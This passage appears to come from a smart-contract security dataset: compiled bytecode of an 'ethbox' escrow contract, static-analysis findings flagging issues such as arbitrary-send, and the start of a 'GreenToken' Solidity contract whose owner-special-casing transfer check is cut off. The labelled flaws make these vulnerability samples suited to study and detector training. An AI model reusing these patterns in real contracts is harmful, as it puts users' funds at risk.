ffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118829061429b565b60405180910390fd5b600180549050905090565b600060149054906101000a900460ff16156118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd906142db565b60405180910390fd5b601460056000336040516020016118fd9190614069565b6040516020818303038152906040528051906020012081526020019081526020016000208054905010611965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195c9061435b565b60405180910390fd5b61196d613669565b3360405160200161197e9190614069565b60405160208183030381529060405280519060200120816000018181525050848160200181815250508181604001818152505083816060019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816080018181525050428160a001818152505060008160c0019015159081151581525050600281908060018154018082558091505060019003906000526020600020906007020160009091909190915060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff021916908315150217905550505060056000826000015181526020019081526020016000206001600280549050611afe9190614549565b908060018154018082558091505060019003906000526020600020016000909190919091505560066000826020015181526020019081526020016000206001600280549050611b4d9190614549565b9080600181540180825580915050600190039060005260206000200160009091909190915055600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611bef57823414611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be19061441b565b60405180910390fd5b611d89565b828473ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401611c29919061409f565b60206040518083038186803b158015611c4157600080fd5b505afa158015611c55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7991906138d5565b1015611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906141fb565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330866040518463ffffffff1660e01b8152600401611cf79392919061411a565b602060405180830381600087803b158015611d1157600080fd5b505af1158015611d25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d499190613814565b611d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7f906142fb565b60405180910390fd5b5b5050505050565b600060149054906101000a900460ff1681565b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a9061429b565b60405180910390fd5b6001805480602002602001604051908101604052809291908181526020016000905b828210156120235783829060005260206000209060090201604051806101200160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160068201548152602001600782015481526020016008820160009054906101000a900460ff16151515158152505081526020019060010190611e55565b50505050905090565b6002805490508110801561207057506002818154811061204f5761204e6146f3565b5b906000526020600020906007020160060160009054906101000a900460ff16155b6120af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a6906143bb565b60405180910390fd5b600281815481106120c3576120c26146f3565b5b906000526020600020906007020160000154336040516020016120e69190614069565b604051602081830303815290604052805190602001201461213c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612133906143db565b60405180910390fd5b600160028281548110612152576121516146f3565b5b906000526020600020906007020160060160006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600282815481106121a6576121a56146f3565b5b906000526020600020906007020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612265573373ffffffffffffffffffffffffffffffffffffffff166108fc60028381548110612222576122216146f3565b5b9060005260206000209060070201600401549081150290604051600060405180830381858888f1935050505015801561225f573d6000803e3d6000fd5b5061239c565b60028181548110612279576122786146f3565b5b906000526020600020906007020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600284815481106122db576122da6146f3565b5b9060005260206000209060070201600401546040518363ffffffff1660e01b815260040161230a929190614151565b602060405180830381600087803b15801561232457600080fd5b505af1158015612338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235c9190613814565b61239b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123929061427b565b60405180910390fd5b5b50565b6060600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561242a57602002820191906000526020600020905b815481526020019060010190808311612416575b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bc9061429b565b60405180910390fd5b600280549050905090565b600180549050811080156125145750600181815481106124f3576124f26146f3565b5b906000526020600020906009020160080160009054906101000a900460ff16155b612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a906143bb565b60405180910390fd5b60018181548110612567576125666146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125fd906143db565b60405180910390fd5b600180828154811061261b5761261a6146f3565b5b906000526020600020906009020160080160006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff166001828154811061266f5761266e6146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561272e573373ffffffffffffffffffffffffffffffffffffffff166108fc600183815481106126eb576126ea6146f3565b5b9060005260206000209060090201600401549081150290604051600060405180830381858888f19350505050158015612728573d6000803e3d6000fd5b50612865565b60018181548110612742576127416146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600184815481106127a4576127a36146f3565b5b9060005260206000209060090201600401546040518363ffffffff1660e01b81526004016127d3929190614151565b602060405180830381600087803b1580156127ed57600080fd5b505af1158015612801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128259190613814565b612864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285b9061427b565b60405180910390fd5b5b50565b6060600660003360405160200161287f9190614069565b6040516020818303038152906040528051906020012081526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156128ed57602002820191906000526020600020905b8154815260200190600101908083116128d9575b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612985576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297c9061431b565b60405180910390fd5b80600060146101000a81548160ff02191690831515021790555050565b600280549050821080156129e65750600282815481106129c5576129c46146f3565b5b906000526020600020906007020160060160009054906101000a900460ff16155b612a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1c906143bb565b60405180910390fd5b60028281548110612a3957612a386146f3565b5b90600052602060002090600702016000015433604051602001612a5c9190614069565b604051602081830303815290604052805190602001201415612ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaa9061425b565b60405180910390fd5b60028281548110612ac757612ac66146f3565b5b90600052602060002090600702016001015433604051602001612aea9190614069565b60405160208183030381529060405280519060200120148015612b57575080604051602001612b199190614084565b6040516020818303038152906040528051906020012060028381548110612b4357612b426146f3565b5b906000526020600020906007020160020154145b612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d9061437b565b60405180910390fd5b600160028381548110612bac57612bab6146f3565b5b906000526020600020906007020160060160006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff1660028381548110612c0057612bff6146f3565b5b906000526020600020906007020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612cbf573373ffffffffffffffffffffffffffffffffffffffff166108fc60028481548110612c7c57612c7b6146f3565b5b9060005260206000209060070201600401549081150290604051600060405180830381858888f19350505050158015612cb9573d6000803e3d6000fd5b50612df6565b60028281548110612cd357612cd26146f3565b5b906000526020600020906007020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360028581548110612d3557612d346146f3565b5b9060005260206000209060070201600401546040518363ffffffff1660e01b8152600401612d64929190614151565b602060405180830381600087803b158015612d7e57600080fd5b505af1158015612d92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612db69190613814565b612df5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dec9061423b565b60405180910390fd5b5b5050565b612e026135c0565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ecc575060018281548110612e6b57612e6a6146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612f47575060018281548110612ee657612ee56146f3565b5b906000526020600020906009020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7d906142bb565b60405180910390fd5b60018281548110612f9a57612f996146f3565b5b9060005260206000209060090201604051806101200160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160068201548152602001600782015481526020016008820160009054906101000a900460ff1615151515815250509050919050565b6060600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156131e157602002820191906000526020600020905b8154815260200190600101908083116131cd575b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613279576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132709061431b565b60405180910390fd5b60005b6001805490508110156135bd576001818154811061329d5761329c6146f3565b5b906000526020600020906009020160080160009054906101000a900460ff166135aa5760018082815481106132d5576132d46146f3565b5b906000526020600020906009020160080160006101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff1660018281548110613329576133286146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561342d576001818154811061338b5761338a6146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600183815481106133ea576133e96146f3565b5b9060005260206000209060090201600401549081150290604051600060405180830381858888f19350505050158015613427573d6000803e3d6000fd5b506135a9565b60018181548110613441576134406146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600183815481106134a2576134a16146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600184815481106134e8576134e76146f3565b5b9060005260206000209060090201600401546040518363ffffffff1660e01b81526004016135179291906140ba565b602060405180830381600087803b15801561353157600080fd5b505af1158015613545573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135699190613814565b6135a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161359f9061427b565b60405180910390fd5b5b5b80806135b59061464d565b91505061327c565b50565b604051806101200160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008019168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000151581525090565b6040518060e00160405280600080191681526020016000801916815260200160008019168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081526020016000151581525090565b6000813590506136d681614d34565b92915050565b6000813590506136eb81614d4b565b92915050565b60008151905061370081614d4b565b92915050565b60008135905061371581614d62565b92915050565b60008135905061372a81614d79565b92915050565b60008135905061373f81614d90565b92915050565b60008151905061375481614d90565b92915050565b60008060008060008060c0878903121561377757613776614722565b5b600061378589828a016136c7565b965050602061379689828a0161371b565b95505060406137a789828a01613730565b94505060606137b889828a0161371b565b93505060806137c989828a01613730565b92505060a06137da89828a01613706565b9150509295509295509295565b6000602082840312156137fd576137fc614722565b5b600061380b848285016136dc565b91505092915050565b60006020828403121561382a57613829614722565b5b6000613838848285016136f1565b91505092915050565b6000806000806080858703121561385b5761385a614722565b5b600061386987828801613706565b945050602061387a8782880161371b565b935050604061388b87828801613730565b925050606061389c87828801613706565b91505092959194509250565b6000602082840312156138be576138bd614722565b5b60006138cc84828501613730565b91505092915050565b6000602082840312156138eb576138ea614722565b5b60006138f984828501613745565b91505092915050565b6000806040838503121561391957613918614722565b5b600061392785828601613730565b925050602061393885828601613706565b9150509250929050565b600061394e8383613dc1565b60e08301905092915050565b60006139668383613edd565b6101208301905092915050565b600061397f838361404b565b60208301905092915050565b613994816145f3565b82525050565b6139a38161458f565b82525050565b6139b28161457d565b82525050565b6139c18161457d565b82525050565b6139d86139d38261457d565b614696565b82525050565b60006139e9826144bd565b6139f38185614505565b93506139fe8361448d565b8060005b83811015613a2f578151613a168882613942565b9750613a21836144de565b925050600181019050613a02565b5085935050505092915050565b6000613a47826144c8565b613a518185614516565b9350613a5c8361449d565b8060005b83811015613a8d578151613a74888261395a565b9750613a7f836144eb565b925050600181019050613a60565b5085935050505092915050565b6000613aa5826144d3565b613aaf8185614527565b9350613aba836144ad565b8060005b83811015613aeb578151613ad28882613973565b9750613add836144f8565b925050600181019050613abe565b5085935050505092915050565b613b01816145a1565b82525050565b613b10816145a1565b82525050565b613b1f816145ad565b82525050565b613b36613b31826145ad565b6146a8565b82525050565b613b4581614605565b82525050565b6000613b58601483614538565b9150613b6382614734565b602082019050919050565b6000613b7b602f83614538565b9150613b868261475d565b604082019050919050565b6000613b9e602883614538565b9150613ba9826147ac565b604082019050919050565b6000613bc1603883614538565b9150613bcc826147fb565b604082019050919050565b6000613be4602a83614538565b9150613bef8261484a565b604082019050919050565b6000613c07604683614538565b9150613c1282614899565b606082019050919050565b6000613c2a603b83614538565b9150613c358261490e565b604082019050919050565b6000613c4d605383614538565b9150613c588261495d565b606082019050919050565b6000613c70603483614538565b9150613c7b826149d2565b604082019050919050565b6000613c93602d83614538565b9150613c9e82614a21565b604082019050919050565b6000613cb6603e83614538565b9150613cc182614a70565b604082019050919050565b6000613cd9604c83614538565b9150613ce482614abf565b606082019050919050565b6000613cfc604b83614538565b9150613d0782614b34565b606082019050919050565b6000613d1f604283614538565b9150613d2a82614ba9565b606082019050919050565b6000613d42601283614538565b9150613d4d82614c1e565b602082019050919050565b6000613d65602d83614538565b9150613d7082614c47565b604082019050919050565b6000613d88605883614538565b9150613d9382614c96565b606082019050919050565b6000613dab601183614538565b9150613db682614d0b565b602082019050919050565b60e082016000820151613dd76000850182613b16565b506020820151613dea6020850182613b16565b506040820151613dfd6040850182613b16565b506060820151613e106060850182613b3c565b506080820151613e23608085018261404b565b5060a0820151613e3660a085018261404b565b5060c0820151613e4960c0850182613af8565b50505050565b60e082016000820151613e656000850182613b16565b506020820151613e786020850182613b16565b506040820151613e8b6040850182613b16565b506060820151613e9e6060850182613b3c565b506080820151613eb1608085018261404b565b5060a0820151613ec460a085018261404b565b5060c0820151613ed760c0850182613af8565b50505050565b61012082016000820151613ef4600085018261399a565b506020820151613f0760208501826139a9565b506040820151613f1a6040850182613b16565b506060820151613f2d6060850182613b3c565b506080820151613f40608085018261404b565b5060a0820151613f5360a0850182613b3c565b5060c0820151613f6660c085018261404b565b5060e0820151613f7960e085018261404b565b50610100820151613f8e610100850182613af8565b50505050565b61012082016000820151613fab600085018261399a565b506020820151613fbe60208501826139a9565b506040820151613fd16040850182613b16565b506060820151613fe46060850182613b3c565b506080820151613ff7608085018261404b565b5060a082015161400a60a0850182613b3c565b5060c082015161401d60c085018261404b565b5060e082015161403060e085018261404b565b50610100820151614045610100850182613af8565b50505050565b614054816145e9565b82525050565b614063816145e9565b82525050565b600061407582846139c7565b60148201915081905092915050565b60006140908284613b25565b60208201915081905092915050565b60006020820190506140b460008301846139b8565b92915050565b60006040820190506140cf600083018561398b565b6140dc602083018461405a565b9392505050565b60006060820190506140f860008301866139b8565b614105602083018561398b565b614112604083018461405a565b949350505050565b600060608201905061412f60008301866139b8565b61413c60208301856139b8565b614149604083018461405a565b949350505050565b600060408201905061416660008301856139b8565b614173602083018461405a565b9392505050565b6000602082019050818103600083015261419481846139de565b905092915050565b600060208201905081810360008301526141b68184613a3c565b905092915050565b600060208201905081810360008301526141d88184613a9a565b905092915050565b60006020820190506141f56000830184613b07565b92915050565b6000602082019050818103600083015261421481613b4b565b9050919050565b6000602082019050818103600083015261423481613b6e565b9050919050565b6000602082019050818103600083015261425481613b91565b9050919050565b6000602082019050818103600083015261427481613bb4565b9050919050565b6000602082019050818103600083015261429481613bd7565b9050919050565b600060208201905081810360008301526142b481613bfa565b9050919050565b600060208201905081810360008301526142d481613c1d565b9050919050565b600060208201905081810360008301526142f481613c40565b9050919050565b6000602082019050818103600083015261431481613c63565b9050919050565b6000602082019050818103600083015261433481613c86565b9050919050565b6000602082019050818103600083015261435481613ca9565b9050919050565b6000602082019050818103600083015261437481613ccc565b9050919050565b6000602082019050818103600083015261439481613cef565b9050919050565b600060208201905081810360008301526143b481613d12565b9050919050565b600060208201905081810360008301526143d481613d35565b9050919050565b600060208201905081810360008301526143f481613d58565b9050919050565b6000602082019050818103600083015261441481613d7b565b9050919050565b6000602082019050818103600083015261443481613d9e565b9050919050565b600060e0820190506144506000830184613e4f565b92915050565b60006101208201905061446c6000830184613f94565b92915050565b6000602082019050614487600083018461405a565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614554826145e9565b915061455f836145e9565b925082821015614572576145716146c4565b5b828203905092915050565b6000614588826145c9565b9050919050565b600061459a826145c9565b9050919050565b60008115159050919050565b6000819050919050565b60006145c28261457d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006145fe82614629565b9050919050565b600061461082614617565b9050919050565b6000614622826145c9565b9050919050565b60006146348261463b565b9050919050565b6000614646826145c9565b9050919050565b6000614658826145e9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561468b5761468a6146c4565b5b600182019050919050565b60006146a1826146b2565b9050919050565b6000819050919050565b60006146bd82614727565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b60008160601b9050919050565b7f496e73756666696369656e7420746f6b656e7321000000000000000000000000600082015250565b7f5472616e7366657272696e672072657175657374656420746f6b656e7320746f60008201527f2073656e646572206661696c6564210000000000000000000000000000000000602082015250565b7f5472616e7366657272696e6720746f6b656e7320746f20726563697069656e7460008201527f206661696c656421000000000000000000000000000000000000000000000000602082015250565b7f506c6561736520757365202763616e63656c426f782720746f2063616e63656c60008201527f207472616e73616374696f6e732061732073656e646572210000000000000000602082015250565b7f5472616e7366657272696e6720746f6b656e73206261636b20746f2073656e6460008201527f6572206661696c65642100000000000000000000000000000000000000000000602082015250565b7f4e6f6e2d7370656369666963207472616e73616374696f6e206461746120697360008201527f206e6f742061636365737369626c65206279207468652067656e6572616c207060208201527f75626c69632e0000000000000000000000000000000000000000000000000000604082015250565b7f5472616e73616374696f6e2064617461206973206f6e6c79206163636573736960008201527f626c652062792073656e646572206f7220726563697069656e742e0000000000602082015250565b7f4465706f736974696e6720746f207468697320657468626f7820636f6e74726160008201527f637420686173206265656e2064697361626c65642e20596f752063616e20737460208201527f696c6c2077697468647261772066756e64732e00000000000000000000000000604082015250565b7f5472616e7366657272696e6720746f6b656e7320746f20657468626f7820736d60008201527f61727420636f6e7472616374206661696c656421000000000000000000000000602082015250565b7f546869732066756e6374696f6e20697320726573657276656420666f7220616460008201527f6d696e697374726174696f6e2e00000000000000000000000000000000000000602082015250565b7f506c6561736520646f6e27742073656e642066756e6473206469726563746c7960008201527f20746f2074686520657468626f7820736d61727420636f6e74726163742e0000602082015250565b7f657468626f782063757272656e746c7920737570706f7274732061206d61786960008201527f6d756d206f66203230206f7574676f696e67207472616e73616374696f6e732060208201527f70657220616464726573732e0000000000000000000000000000000000000000604082015250565b7f4465706f73697465642066756e64732063616e206f6e6c79206265207265747260008201527f696576656420627920726563697069656e74207769746820636f72726563742060208201527f706173737068726173652e000000000000000000000000000000000000000000604082015250565b7f526563697069656e7420646f6573206e6f74206861766520656e6f756768207460008201527f6f6b656e7320746f2066756c66696c6c2073656e64657227732072657175657360208201527f7421000000000000000000000000000000000000000000000000000000000000604082015250565b7f496e76616c696420626f7820696e646578210000000000000000000000000000600082015250565b7f5472616e73616374696f6e732063616e206f6e6c792062652063616e63656c6c60008201527f65642062792073656e6465722e00000000000000000000000000000000000000602082015250565b7f496e636f727265637420616d6f756e74206f662045544820617474616368656460008201527f20746f207472616e73616374696f6e2c2068617320746f20626520657861637460208201527f6c79206173206d75636820617320726571756573746564210000000000000000604082015250565b7f496e73756666696369656e742045544821000000000000000000000000000000600082015250565b614d3d8161457d565b8114614d4857600080fd5b50565b614d54816145a1565b8114614d5f57600080fd5b50565b614d6b816145ad565b8114614d7657600080fd5b50565b614d82816145b7565b8114614d8d57600080fd5b50565b614d99816145e9565b8114614da457600080fd5b5056fea26469706673582212205c094b23fdb1c2074c12f1559efb45d65066a93df9d7389135edae4fc22e111064736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,081
0x8b1a3bd407430e73cc20b64de8610ae73dbdc495
/* Pay reward for Affiliates and Partners Also we planning to do such list of digital things Landing page with automatic buying Green Tokens with ETH Automatic display of current position from 10 to 1 API service for an external exchanges and wallets White Label service for an external exchanges White Label service for an external Multi Wallets Modified first post of ANN topic Faucet for Green Token PayPal, Visa, MasterCard for Withdraw Mobile App for Android (WebView) Mobile App for IOS White Paper Support Center for Token Holders FAQ for Token Holders Visa/MasterCard to buy Cryptocurrency - 25000$ fee Marketing tasks: Signups, Reposts, Likes, Views Advertising tasks: Banners, Links, Articles, PPC Hire Airdrop/Bounty manager Decentralized Exchange Node for Ethereum and its Tokens - 395$ Get Listed on CoinMarketCap Get Listed on popular crypto exchange with highest daily turnover Plan max Create GREEN FUND and do few cool things Green Renewable Energy. Zero Carbon Electricity, Ecological Fuel. Green Power Engines(WIG craft industry). International Blockchain Seeds Bank and Exchange. Global Climate Change Research Center. Waste Processing Plants. Earth Resources Smart Management. Where you can spend GREEN Token after? On a wide list of services: Discount on listing your token/coin on our exchange (soon) Get better rate on cryptocurrency exchange Discount on your own exchange setup Discount on SEO services Advertising on How To Project, that has more than 30 000+ pages Create WIG craft water/air transport industry, create more than 100 transport lines between islands and accept Green Token as payment for tickets */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract GreenToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == 